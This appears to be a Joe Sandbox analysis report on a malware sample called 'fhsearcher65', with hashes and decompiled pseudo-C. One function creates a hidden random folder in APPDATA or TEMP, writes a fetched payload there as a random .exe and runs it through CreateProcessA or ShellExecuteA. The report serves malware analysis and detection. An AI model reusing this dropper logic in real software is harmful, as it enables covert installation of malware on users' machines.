Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: db551eddc28ed9585e28f7d8a930085c69e0a83f508d5c587fb4fce91d87a741
Instruction ID: b5acc537e47175a484598864f7b5fa9eab7981bf784aec42cf186d38ae6ea6e0
Opcode Fuzzy Hash: db551eddc28ed9585e28f7d8a930085c69e0a83f508d5c587fb4fce91d87a741
Instruction Fuzzy Hash: 9821B67690010CBFDF41EF96C881DDE7BB8AF08344F0081AAF6159B121DB35EA958B88

Uniqueness

Uniqueness Score: -1.00%

Function 10007A68 Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E10007A68(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x10010e70;
				if(_t68 != 0x10010e70) {
					E10008701(_t68);
					_t36 = _a4;
				}
				E10008701( *((intOrPtr*)(_t36 + 0x3c)));
				E10008701( *((intOrPtr*)(_a4 + 0x30)));
				E10008701( *((intOrPtr*)(_a4 + 0x34)));
				E10008701( *((intOrPtr*)(_a4 + 0x38)));
				E10008701( *((intOrPtr*)(_a4 + 0x28)));
				E10008701( *((intOrPtr*)(_a4 + 0x2c)));
				E10008701( *((intOrPtr*)(_a4 + 0x40)));
				E10008701( *((intOrPtr*)(_a4 + 0x44)));
				E10008701( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E10007894(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E100078FF(_t67, _t72, _t73, _t77);
			}

0x10007a68
0x10007a68
0x10007a68
0x10007a6d
0x10007a73
0x10007a75
0x10007a7b
0x10007a7e
0x10007a83
0x10007a86
0x10007a8a
0x10007a95
0x10007aa0
0x10007aab
0x10007ab6
0x10007ac1
0x10007acc
0x10007ad7
0x10007ae5
0x10007af0
0x10007af8
0x10007af9
0x10007afc
0x10007b02
0x10007b06
0x10007b0a
0x10007b0b
0x10007b15
0x10007b1b
0x10007b1c
0x10007b1f
0x10007b25
0x10007b29
0x10007b2d
0x10007b34

APIs

_free.LIBCMT ref: 10007A7E

Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729

_free.LIBCMT ref: 10007A8A
_free.LIBCMT ref: 10007A95
_free.LIBCMT ref: 10007AA0
_free.LIBCMT ref: 10007AAB
_free.LIBCMT ref: 10007AB6
_free.LIBCMT ref: 10007AC1
_free.LIBCMT ref: 10007ACC
_free.LIBCMT ref: 10007AD7
_free.LIBCMT ref: 10007AE5

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 81c439588ecf3f878c2d47a34354f57c6a02997bda065798a73a88b2c9937e33
Instruction ID: 867ad9f989b00400d9638a76b2324434a93f572cdeb18d7cd5bb1e105d022b7d
Opcode Fuzzy Hash: 81c439588ecf3f878c2d47a34354f57c6a02997bda065798a73a88b2c9937e33
Instruction Fuzzy Hash: 8321957A914108EFDB41DF94C841DDE7BB9FF08384B6081A6F9599B125EA32EA448F90

Uniqueness

Uniqueness Score: -1.00%

Function 10001F90 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 342
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E10001F90(void** __ecx, void* __edi) {
				intOrPtr _v8;
				void* _v16;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v300;
				char _v564;
				signed int _v568;
				void* _v572;
				void* _v588;
				char _v592;
				signed int _v596;
				void* _v600;
				char _v616;
				signed int _v620;
				char _v640;
				signed int _v676;
				signed int _v680;
				signed int _v692;
				void* _v960;
				void* _v964;
				signed int _v968;
				long _v972;
				intOrPtr _v976;
				signed int _v980;
				void* _v984;
				intOrPtr _v988;
				signed int _v1012;
				intOrPtr _v1020;
				char _v1024;
				void* _v1100;
				intOrPtr _v1116;
				void* _v1120;
				struct _PROCESS_INFORMATION _v1136;
				signed int _v1140;
				void* _v1144;
				signed int* _v1152;
				char _v1156;
				void* _v1160;
				void* _v1168;
				void* _v1172;
				long _v1188;
				intOrPtr _v1192;
				void* _v1196;
				void* _v1208;
				signed int _v1216;
				void* _v1220;
				void* _v1224;
				char _v1232;
				signed int _v1236;
				signed int _v1240;
				void* _v1244;
				void* _v1256;
				void* _v1268;
				void* _v1280;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t273;
				signed int _t274;
				char* _t276;
				signed int _t278;
				signed int _t280;
				intOrPtr* _t282;
				signed int _t295;
				signed int _t297;
				intOrPtr* _t299;
				void* _t307;
				signed int _t312;
				char _t318;
				signed int _t320;
				signed int _t321;
				signed int _t327;
				signed int* _t329;
				signed int _t334;
				unsigned int _t361;
				void* _t362;
				signed int _t363;
				signed int _t369;
				signed int _t372;
				signed int _t374;
				void* _t375;
				signed int _t376;
				signed int _t377;
				char* _t379;
				void* _t385;
				signed int _t386;
				signed int _t387;
				long _t388;
				intOrPtr _t395;
				CHAR* _t397;
				signed int _t400;
				void* _t404;
				intOrPtr _t413;
				signed int _t418;
				signed int _t422;
				signed int _t426;
				void* _t427;
				signed int _t429;
				char _t436;
				intOrPtr _t438;
				intOrPtr _t443;
				intOrPtr _t452;
				intOrPtr _t454;
				intOrPtr _t459;
				intOrPtr _t468;
				void* _t470;
				void* _t471;
				signed int _t473;
				void** _t475;
				intOrPtr* _t481;
				signed int _t482;
				char _t487;
				intOrPtr* _t493;
				signed int _t494;
				char _t499;
				signed int* _t506;
				signed int _t508;
				void* _t509;
				signed int _t514;
				signed int _t515;
				void* _t520;
				char* _t524;
				intOrPtr _t525;
				signed int _t531;
				signed int _t532;
				void* _t535;
				intOrPtr _t536;
				signed int _t537;
				void* _t538;
				intOrPtr _t540;
				intOrPtr _t541;
				intOrPtr* _t542;
				intOrPtr _t544;
				intOrPtr _t545;
				intOrPtr* _t546;
				intOrPtr* _t548;
				intOrPtr* _t551;
				signed int _t552;
				signed int _t553;
				intOrPtr* _t554;
				intOrPtr* _t557;
				signed int _t558;
				signed int _t560;
				signed int _t565;
				intOrPtr _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				char _t571;
				void* _t572;
				void* _t573;
				void* _t574;
				void* _t575;
				void** _t577;
				void* _t578;
				signed int _t579;
				void* _t580;
				signed int _t581;
				signed int _t583;
				char _t584;
				signed int _t587;
				void* _t589;
				void* _t590;
				void* _t591;
				void* _t592;
				void* _t593;
				signed int _t594;
				void* _t595;
				void* _t596;
				signed int* _t597;
				char* _t599;
				void* _t603;
				signed int _t604;
				void* _t605;
				void* _t606;
				signed int _t608;
				signed int _t610;
				void* _t612;
				void* _t614;
				void* _t618;
				signed int _t621;
				void* _t622;
				signed int _t623;
				signed int _t628;
				void* _t633;
				void* _t638;

				_t471 = _t618;
				_t621 = (_t618 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t471 + 4));
				_t608 = _t621;
				_t622 = _t621 - 0x268;
				_t273 =  *0x10017004; // 0xdfd3a356
				_t274 = _t273 ^ _t608;
				_v32 = _t274;
				 *[fs:0x0] =  &_v24;
				_t577 = __ecx;
				_v592 = __ecx;
				_v588 = 0;
				_v592 = __ecx;
				_v572 = 0;
				_v568 = 0xf;
				_v588 = 0;
				_t276 =  &_v300;
				_v16 = 0;
				__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t276, _t274, __edi, _t589, _t471,  *[fs:0x0], E1000F83C, 0xffffffff, _t606, _t470);
				if(_t276 < 0) {
					_t548 = E100065B3(_t471, __ecx, _t589, __eflags, "APPDATA");
					_t622 = _t622 + 4;
					_t481 = _t548;
					_t16 = _t481 + 1; // 0x1
					_t590 = _t16;
					do {
						_t278 =  *_t481;
						_t481 = _t481 + 1;
						__eflags = _t278;
					} while (_t278 != 0);
					_t482 = _t481 - _t590;
					__eflags = _t482;
					_push(_t482);
					_push(_t548);
				} else {
					_t546 =  &_v300;
					_t575 = _t546 + 1;
					goto L2;
					L2:
					_t468 =  *_t546;
					_t546 = _t546 + 1;
					_t649 = _t468;
					if(_t468 != 0) {
						goto L2;
					} else {
						_push(_t546 - _t575);
						_push( &_v300);
					}
				}
				E10001970( &_v588);
				_t280 = E10006494( &_v588, _t649);
				asm("cdq");
				_t282 = E10001EB0( &_v640, _t280 % 7 + 5);
				_push(_t282);
				_v16 = 1;
				L151();
				_t623 = _t622 + 4;
				_v16 = 2;
				_t551 = _t282;
				if( *((intOrPtr*)(_t282 + 0x14)) >= 0x10) {
					_t551 =  *_t282;
				}
				_t487 =  *((intOrPtr*)(_t282 + 0x10));
				_t591 = _v572;
				_v592 = _t487;
				_push(_t487);
				_push(_t551);
				if(_t487 > _v568 - _t591) {
					_v592 = 0;
					_push(_v592);
					_push(_t487);
					E10002E00(_t471,  &_v588, _t577, _t591);
				} else {
					_v572 = _t591 + _t487;
					_t465 =  >=  ? _v588 :  &_v588;
					_t591 = _t591 + ( >=  ? _v588 :  &_v588);
					_push(_t591);
					E10005BC0();
					_t623 = _t623 + 0xc;
					 *((char*)(_t591 + _v592)) = 0;
				}
				_v16 = 1;
				_t552 = _v596;
				if(_t552 < 0x10) {
					L16:
					_v16 = 0;
					_t553 = _v620;
					_v600 = 0;
					_v596 = 0xf;
					_v616 = 0;
					if(_t553 < 0x10) {
						L20:
						_t287 =  >=  ? _v588 :  &_v588;
						if(CreateDirectoryA( >=  ? _v588 :  &_v588, 0) != 0 || GetLastError() == 0xb7) {
							L48:
							asm("movups xmm0, [ebp-0x240]");
							 *_t577 = 0;
							_t577[4] = 0;
							_t577[5] = 0;
							asm("movups [edi], xmm0");
							asm("movq xmm0, [ebp-0x230]");
							asm("movq [edi+0x10], xmm0");
							goto L49;
						} else {
							if(GetTempPathA(0x104,  &_v564) < 0) {
								_t554 = E100065B3(_t471, _t577, _t591, __eflags, "TMPDIR");
								_t623 = _t623 + 4;
								_t493 = _t554;
								_t59 = _t493 + 1; // 0x1
								_t593 = _t59;
								do {
									_t295 =  *_t493;
									_t493 = _t493 + 1;
									__eflags = _t295;
								} while (_t295 != 0);
								_t494 = _t493 - _t593;
								__eflags = _t494;
								_push(_t494);
								_push(_t554);
							} else {
								_t542 =  &_v564;
								_t573 = _t542 + 1;
								do {
									_t452 =  *_t542;
									_t542 = _t542 + 1;
									_t663 = _t452;
								} while (_t452 != 0);
								_push(_t542 - _t573);
								_push( &_v564);
							}
							E10001970( &_v588);
							_t297 = E10006494( &_v588, _t663);
							asm("cdq");
							_t299 = E10001EB0( &_v640, _t297 % 7 + 5);
							_push(_t299);
							_v16 = 3;
							L151();
							_t623 = _t623 + 4;
							_v16 = 4;
							_t557 = _t299;
							if( *((intOrPtr*)(_t299 + 0x14)) >= 0x10) {
								_t557 =  *_t299;
							}
							_t499 =  *((intOrPtr*)(_t299 + 0x10));
							_t591 = _v572;
							_v592 = _t499;
							_push(_t499);
							_push(_t557);
							if(_t499 > _v568 - _t591) {
								_v592 = 0;
								_push(_v592);
								_push(_t499);
								E10002E00(_t471,  &_v588, _t577, _t591);
							} else {
								_v572 = _t591 + _t499;
								_t449 =  >=  ? _v588 :  &_v588;
								_t591 = _t591 + ( >=  ? _v588 :  &_v588);
								_push(_t591);
								E10005BC0();
								_t623 = _t623 + 0xc;
								 *((char*)(_t591 + _v592)) = 0;
							}
							_t558 = _v596;
							if(_t558 < 0x10) {
								L38:
								_t553 = _v620;
								_v600 = 0;
								_v596 = 0xf;
								_v616 = 0;
								if(_t553 < 0x10) {
									L42:
									_t304 =  >=  ? _v588 :  &_v588;
									if(CreateDirectoryA( >=  ? _v588 :  &_v588, 0) != 0 || GetLastError() == 0xb7) {
										goto L48;
									} else {
										_t553 = _v568;
										 *_t577 = 0;
										_t577[4] = 0;
										_t577[5] = 0xf;
										 *_t577 = 0;
										if(_t553 < 0x10) {
											L49:
											 *[fs:0x0] = _v24;
											_pop(_t578);
											_pop(_t592);
											return E100031FF(_t577, _t471, _v32 ^ _t608, _t553, _t578, _t592);
										} else {
											_t501 = _v588;
											_t553 = _t553 + 1;
											_t307 = _t501;
											if(_t553 < 0x1000) {
												L47:
												_push(_t553);
												E10003216(_t501);
												goto L49;
											} else {
												_t501 =  *(_t501 - 4);
												_t553 = _t553 + 0x23;
												if(_t307 - _t501 + 0xfffffffc > 0x1f) {
													goto L52;
												} else {
													goto L47;
												}
											}
										}
									}
								} else {
									_t540 = _v640;
									_t553 = _t553 + 1;
									_t438 = _t540;
									if(_t553 < 0x1000) {
										L41:
										_push(_t553);
										E10003216(_t540);
										_t623 = _t623 + 8;
										goto L42;
									} else {
										_t501 =  *(_t540 - 4);
										_t553 = _t553 + 0x23;
										if(_t438 -  *(_t540 - 4) + 0xfffffffc > 0x1f) {
											goto L51;
										} else {
											goto L41;
										}
									}
								}
							} else {
								_t541 = _v616;
								_t572 = _t558 + 1;
								_t443 = _t541;
								if(_t572 < 0x1000) {
									L37:
									_push(_t572);
									E10003216(_t541);
									_t623 = _t623 + 8;
									goto L38;
								} else {
									_t501 =  *(_t541 - 4);
									_t553 = _t572 + 0x23;
									if(_t443 -  *(_t541 - 4) + 0xfffffffc > 0x1f) {
										goto L51;
									} else {
										goto L37;
									}
								}
							}
						}
					} else {
						_t544 = _v640;
						_t553 = _t553 + 1;
						_t454 = _t544;
						if(_t553 < 0x1000) {
							L19:
							_push(_t553);
							E10003216(_t544);
							_t623 = _t623 + 8;
							goto L20;
						} else {
							_t501 =  *(_t544 - 4);
							_t553 = _t553 + 0x23;
							if(_t454 -  *(_t544 - 4) + 0xfffffffc > 0x1f) {
								goto L50;
							} else {
								goto L19;
							}
						}
					}
				} else {
					_t545 = _v616;
					_t574 = _t552 + 1;
					_t459 = _t545;
					if(_t574 < 0x1000) {
						L15:
						_push(_t574);
						E10003216(_t545);
						_t623 = _t623 + 8;
						goto L16;
					} else {
						_t501 =  *(_t545 - 4);
						_t553 = _t574 + 0x23;
						if(_t459 -  *(_t545 - 4) + 0xfffffffc > 0x1f) {
							L50:
							E1000633C(_t471, _t501, _t553, __eflags);
							L51:
							E1000633C(_t471, _t501, _t553, __eflags);
							L52:
							E1000633C(_t471, _t501, _t553, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t608);
							_t610 = _t623;
							_t628 = (_t623 & 0xfffffff0) - 0x228;
							_t312 =  *0x10017004; // 0xdfd3a356
							_v692 = _t312 ^ _t628;
							_push(_t591);
							_t594 = _v676;
							_push(_t577);
							_t579 = _v680;
							E100064B5(_t501, E10006436(_t501, _t553, 0));
							E10004730(_t579,  &_v1024, 0, 0x148);
							_v1012 = _t594;
							_v1020 = 0x7a120;
							_push(0x7a120); // executed
							_t318 = E1000320D(_t471, _t579, _t594, __eflags); // executed
							_v1024 = _t318;
							E10004730(_t579, _t318, 0, _v1020);
							_t320 = _v980;
							_t633 = _t628 + 0x24;
							_v988 = 0xfde9;
							_v968 = 0;
							_v964 = 0;
							_v960 = 0;
							_v972 = 0;
							__eflags = _t320;
							if(_t320 != 0) {
								E10003224(_t320);
								_t633 = _t633 + 4;
								_v980 = 0;
							}
							_push(_t579);
							_t321 = E100014F0( &_v1024); // executed
							__eflags = _t321;
							if(_t321 == 0) {
								_t595 = 0xfffffffd;
								goto L113;
							} else {
								__eflags = _v980;
								if(_v980 == 0) {
									L111:
									_t595 = 0;
									goto L113;
								} else {
									_t327 = _v968;
									__eflags = _t327;
									if(_t327 == 0) {
										goto L111;
									} else {
										__eflags = _t327 - 2;
										if(_t327 <= 2) {
											goto L111;
										} else {
											__eflags = _t327 - 0xc00;
											if(_t327 <= 0xc00) {
												_t595 = _t594 | 0xffffffff;
												goto L113;
											} else {
												E10001F90( &_v1156, _t579);
												__eflags = _v1140;
												if(__eflags == 0) {
													_t595 = 0xfffffffe;
													goto L106;
												} else {
													_t377 = E10006494( &_v1156, __eflags);
													asm("cdq");
													_t379 = E10001EB0(_t633 + 0x24, _t377 % 7 + 5);
													_push(_t379);
													L151();
													_t524 = _t379;
													_t633 = _t633 + 4;
													_t579 =  *(_t524 + 0x14);
													_t603 =  *(_t524 + 0x10);
													__eflags = _t579 - _t603 - 4;
													if(_t579 - _t603 < 4) {
														_push(4);
														_v1232 = 0;
														_t524 = E10002E00(_t471, _t524, _t579, _t603, 4, _v1232, ".exe");
													} else {
														_t571 = _t524;
														 *(_t524 + 0x10) = _t603 + 4;
														__eflags = _t579 - 0x10;
														if(_t579 >= 0x10) {
															_t571 =  *_t524;
														}
														_t436 = ".exe"; // 0x6578652e
														 *(_t571 + _t603) = _t436;
														 *((char*)(_t571 + _t603 + 4)) = 0;
													}
													asm("movups xmm1, [ecx]");
													asm("movq xmm0, [ecx+0x10]");
													asm("movq [esp+0x80], xmm0");
													__eflags =  *((intOrPtr*)(_t633 + 0x84)) - 0x10;
													 *(_t524 + 0x10) = 0;
													 *(_t524 + 0x14) = 0xf;
													 *_t524 = 0;
													_t604 = _v1140;
													_t525 = _v1116;
													asm("movd edi, xmm1");
													_push(_t525);
													asm("movaps [esp+0x74], xmm1");
													_t564 =  >=  ? _t579 :  &(_v1136.hThread);
													_push( >=  ? _t579 :  &(_v1136.hThread));
													__eflags = _t525 - _v1136.hProcess - _t604;
													if(_t525 > _v1136.hProcess - _t604) {
														_v1236 = 0;
														_push(_v1236);
														_push(_t525);
														_t385 = E10002E00(_t471,  &_v1156, _t579, _t604);
														_t579 =  *(_t633 + 0x70);
														_t595 = _t385;
													} else {
														__eflags = _v1136.hProcess - 0x10;
														_v1140 = _t525 + _t604;
														_t432 =  >=  ? _v1156 :  &_v1156;
														_t605 = _t604 + ( >=  ? _v1156 :  &_v1156);
														_push(_t605);
														E10005BC0();
														_t633 = _t633 + 0xc;
														 *((char*)(_t605 + _v1116)) = 0;
														_t595 =  &_v1156;
													}
													 *(_t633 + 0x40) = 0;
													_v1168 = 0;
													 *(_t633 + 0x54) = 0;
													__eflags =  *((intOrPtr*)(_t595 + 0x14)) - 0x10;
													_t386 =  *(_t595 + 0x10);
													_v1240 = _t386;
													if( *((intOrPtr*)(_t595 + 0x14)) >= 0x10) {
														_t595 =  *_t595;
													}
													__eflags = _t386 - 0x10;
													if(_t386 >= 0x10) {
														_t387 = _t386 | 0x0000000f;
														__eflags = _t387 - 0x7fffffff;
														_t388 =  >  ? 0x7fffffff : _t387;
														_v1188 = _t388;
														_t531 =  ~(0 | _t387 - 0x7fffffff > 0x00000000) | _t388 + 0x00000001;
														__eflags = _t531 - 0x1000;
														if(_t531 < 0x1000) {
															__eflags = _t531;
															if(__eflags == 0) {
																_t532 = 0;
																__eflags = 0;
															} else {
																_push(_t531);
																_t426 = E10003229(_t471, _t579, _t595, __eflags);
																_t633 = _t633 + 4;
																_t532 = _t426;
															}
															goto L80;
														} else {
															_t170 = _t531 + 0x23; // 0x23
															_t427 = _t170;
															__eflags = _t427 - _t531;
															if(__eflags <= 0) {
																E10001DE0(_t471);
																goto L115;
															} else {
																_push(_t427);
																_t429 = E10003229(_t471, _t579, _t595, __eflags);
																_t633 = _t633 + 4;
																__eflags = _t429;
																if(__eflags == 0) {
																	goto L115;
																} else {
																	_t171 = _t429 + 0x23; // 0x23
																	_t532 = _t171 & 0xffffffe0;
																	 *(_t532 - 4) = _t429;
																	L80:
																	__eflags = _v1240 + 1;
																	 *(_t633 + 0x40) = _t532;
																	E10005BC0(_t532, _t595, _v1240 + 1);
																	_t633 = _t633 + 0xc;
																	_v1168 = _v1240;
																	 *(_t633 + 0x54) = _v1188;
																	goto L81;
																}
															}
														}
													} else {
														asm("movups xmm0, [esi]");
														_v1168 = _t386;
														 *(_t633 + 0x54) = 0xf;
														asm("movups [esp+0x40], xmm0");
														L81:
														_t395 = _v1116;
														__eflags = _t395 - 0x10;
														if(_t395 < 0x10) {
															L85:
															_t565 = _v1216;
															__eflags = _t565 - 0x10;
															if(_t565 < 0x10) {
																L89:
																_t566 = _v1192;
																_v1220 = 0;
																_v1216 = 0xf;
																_v1236 = 0;
																__eflags = _t566 - 0x10;
																if(_t566 < 0x10) {
																	L93:
																	__eflags =  *(_t633 + 0x54) - 0x10;
																	_t397 =  >=  ?  *(_t633 + 0x40) : _t633 + 0x40;
																	__eflags = _v984;
																	if(_v984 != 0) {
																		__eflags = _v972;
																		if(_v972 != 0) {
																			_t595 = CreateFileA(_t397, 0x40000000, 1, 0, 2, 0x80, 0);
																			__eflags = _t595 - 0xffffffff;
																			if(_t595 != 0xffffffff) {
																				_v1188 = 0;
																				WriteFile(_t595, _v984, _v972,  &_v1188, 0);
																				CloseHandle(_t595);
																			}
																		}
																	}
																	__eflags =  *(_t633 + 0x54) - 0x10;
																	 *(_t633 + 0x9c) = 0x44;
																	asm("xorps xmm0, xmm0");
																	_t399 =  >=  ?  *((void*)(_t633 + 0x58)) : _t633 + 0x58;
																	asm("movlpd [esp+0xc4], xmm0");
																	asm("movlpd [esp+0xcc], xmm0");
																	asm("movlpd [esp+0xd4], xmm0");
																	asm("movlpd [esp+0xdc], xmm0");
																	asm("movlpd [esp+0xe4], xmm0");
																	asm("movlpd [esp+0xec], xmm0");
																	asm("movlpd [esp+0xf4], xmm0");
																	asm("movlpd [esp+0xfc], xmm0");
																	asm("movaps [esp+0x98], xmm0");
																	_t400 = CreateProcessA( >=  ?  *((void*)(_t633 + 0x58)) : _t633 + 0x58, 0, 0, 0, 0, 0, 0, 0, _t633 + 0x9c,  &_v1136);
																	__eflags = _t400;
																	if(_t400 == 0) {
																		L99:
																		__eflags =  *(_t633 + 0x54) - 0x10;
																		_t402 =  >=  ?  *((void*)(_t633 + 0x44)) : _t633 + 0x40;
																		ShellExecuteA(0, "open",  >=  ?  *((void*)(_t633 + 0x44)) : _t633 + 0x40, 0, 0, 0xa);
																	} else {
																		__eflags =  *((intOrPtr*)(_t633 + 0x78)) - 0xffffffff;
																		if( *((intOrPtr*)(_t633 + 0x78)) == 0xffffffff) {
																			goto L99;
																		}
																	}
																	_t567 =  *(_t633 + 0x54);
																	__eflags = _t567 - 0x10;
																	if(_t567 < 0x10) {
																		L104:
																		_t595 = 1;
																		L106:
																		_t553 = _v1136.hThread;
																		__eflags = _t553 - 0x10;
																		if(_t553 < 0x10) {
																			L113:
																			E10003224(_v1020); // executed
																			E10003224(_v980); // executed
																			E10003224(_v976);
																			__imp__CoUninitialize();
																			_pop(_t580);
																			_pop(_t596);
																			__eflags =  *(_t633 + 0x238) ^ _t633 + 0xc;
																			return E100031FF(_t595, _t471,  *(_t633 + 0x238) ^ _t633 + 0xc, _t553, _t580, _t596);
																		} else {
																			_t506 = _v1152;
																			_t553 = _t553 + 1;
																			_t329 = _t506;
																			__eflags = _t553 - 0x1000;
																			if(_t553 < 0x1000) {
																				L109:
																				_push(_t553);
																				E10003216(_t506);
																				_t633 = _t633 + 8;
																				goto L113;
																			} else {
																				_t506 =  *(_t506 - 4);
																				_t553 = _t553 + 0x23;
																				__eflags = _t329 - _t506 + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L117;
																				} else {
																					goto L109;
																				}
																			}
																		}
																	} else {
																		_t535 =  *(_t633 + 0x40);
																		_t568 = _t567 + 1;
																		_t404 = _t535;
																		__eflags = _t568 - 0x1000;
																		if(_t568 < 0x1000) {
																			L103:
																			_push(_t568);
																			E10003216(_t535);
																			_t633 = _t633 + 8;
																			goto L104;
																		} else {
																			_t506 =  *(_t535 - 4);
																			_t553 = _t568 + 0x23;
																			__eflags = _t404 - _t506 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L116;
																			} else {
																				goto L103;
																			}
																		}
																	}
																} else {
																	_t536 =  *((intOrPtr*)(_t633 + 0x24));
																	_t569 = _t566 + 1;
																	_t413 = _t536;
																	__eflags = _t569 - 0x1000;
																	if(_t569 < 0x1000) {
																		L92:
																		_push(_t569);
																		E10003216(_t536);
																		_t633 = _t633 + 8;
																		goto L93;
																	} else {
																		_t506 =  *(_t536 - 4);
																		_t553 = _t569 + 0x23;
																		__eflags = _t413 - _t506 + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L115;
																		} else {
																			goto L92;
																		}
																	}
																}
															} else {
																_t537 = _v1236;
																_t570 = _t565 + 1;
																_t418 = _t537;
																__eflags = _t570 - 0x1000;
																if(_t570 < 0x1000) {
																	L88:
																	_push(_t570);
																	E10003216(_t537);
																	_t633 = _t633 + 8;
																	goto L89;
																} else {
																	_t506 =  *(_t537 - 4);
																	_t553 = _t570 + 0x23;
																	__eflags = _t418 - _t506 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L115;
																	} else {
																		goto L88;
																	}
																}
															}
														} else {
															_t538 = _t395 + 1;
															_t422 = _t579;
															__eflags = _t538 - 0x1000;
															if(_t538 < 0x1000) {
																L84:
																_push(_t538);
																E10003216(_t579);
																_t633 = _t633 + 8;
																goto L85;
															} else {
																_t579 =  *(_t579 - 4);
																_t506 = _t538 + 0x23;
																__eflags = _t422 - _t579 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L115:
																	E1000633C(_t471, _t506, _t553, __eflags);
																	L116:
																	E1000633C(_t471, _t506, _t553, __eflags);
																	L117:
																	E1000633C(_t471, _t506, _t553, __eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t610);
																	_t612 = _t633;
																	_t638 = _t633 - 0xc;
																	_push(_t595);
																	_t597 = _t506;
																	_push(_t579);
																	_t581 = _v1236;
																	_t334 = _t597[4];
																	 *(_t612 - 8) = _t334;
																	__eflags = _t334 - _t581;
																	if(_t334 > _t581) {
																		L147:
																		return _t334;
																	} else {
																		_push(_t471);
																		_t473 = _t597[5];
																		_v32 = _t473;
																		__eflags = _t473 - _t581;
																		if(__eflags == 0) {
																			L146:
																			goto L147;
																		} else {
																			if(__eflags >= 0) {
																				__eflags = _t581 - 0x10;
																				if(_t581 >= 0x10) {
																					goto L146;
																				} else {
																					__eflags = _t473 - 0x10;
																					if(_t473 < 0x10) {
																						goto L146;
																					} else {
																						_t583 =  *_t597;
																						E10005BC0(_t597, _t583, _t334 + 1);
																						_t638 = _t638 + 0xc;
																						_t508 = _t597[5] + 1;
																						__eflags = _t508 - 0x1000;
																						if(_t508 < 0x1000) {
																							L145:
																							_push(_t508);
																							_t334 = E10003216(_t583);
																							_t597[5] = 0xf;
																							goto L146;
																						} else {
																							_t559 =  *(_t583 - 4);
																							_t508 = _t508 + 0x23;
																							_t581 = _t583 - _t559;
																							_t248 = _t581 - 4; // -3
																							__eflags = _t248 - 0x1f;
																							if(__eflags > 0) {
																								goto L148;
																							} else {
																								_t583 = _t559;
																								goto L145;
																							}
																						}
																					}
																				}
																			} else {
																				_t559 = 0x7fffffff;
																				_t508 = _t581 - _t334;
																				__eflags = 0x7fffffff - _v28 - _t508;
																				if(0x7fffffff - _v28 < _t508) {
																					L149:
																					E10001CA0(_t508);
																					goto L150;
																				} else {
																					_t514 = _t581 | 0x0000000f;
																					__eflags = _t514 - 0x7fffffff;
																					if(__eflags <= 0) {
																						_t361 = _t473 >> 1;
																						_t559 = 0x7fffffff - _t361;
																						__eflags = _t473 - 0x7fffffff - _t361;
																						if(__eflags <= 0) {
																							_t362 = _t361 + _t473;
																							__eflags = _t514 - _t362;
																							_t515 =  <  ? _t362 : _t514;
																							_v24 = _t515;
																							_t363 = _t515;
																						} else {
																							_t363 = 0x7fffffff;
																							_v24 = 0x7fffffff;
																						}
																					} else {
																						_t363 = 0x7fffffff;
																						_v24 = 0x7fffffff;
																					}
																					_t508 =  ~(0 | __eflags > 0x00000000) | _t363 + 0x00000001;
																					__eflags = _t508 - 0x1000;
																					if(_t508 < 0x1000) {
																						__eflags = _t508;
																						if(__eflags == 0) {
																							_t473 = 0;
																							__eflags = 0;
																						} else {
																							_push(_t508);
																							_t374 = E10003229(_t473, _t581, _t597, __eflags);
																							_t638 = _t638 + 4;
																							_t473 = _t374;
																						}
																						goto L134;
																					} else {
																						_t231 = _t508 + 0x23; // 0x23
																						_t375 = _t231;
																						__eflags = _t375 - _t508;
																						if(__eflags <= 0) {
																							L150:
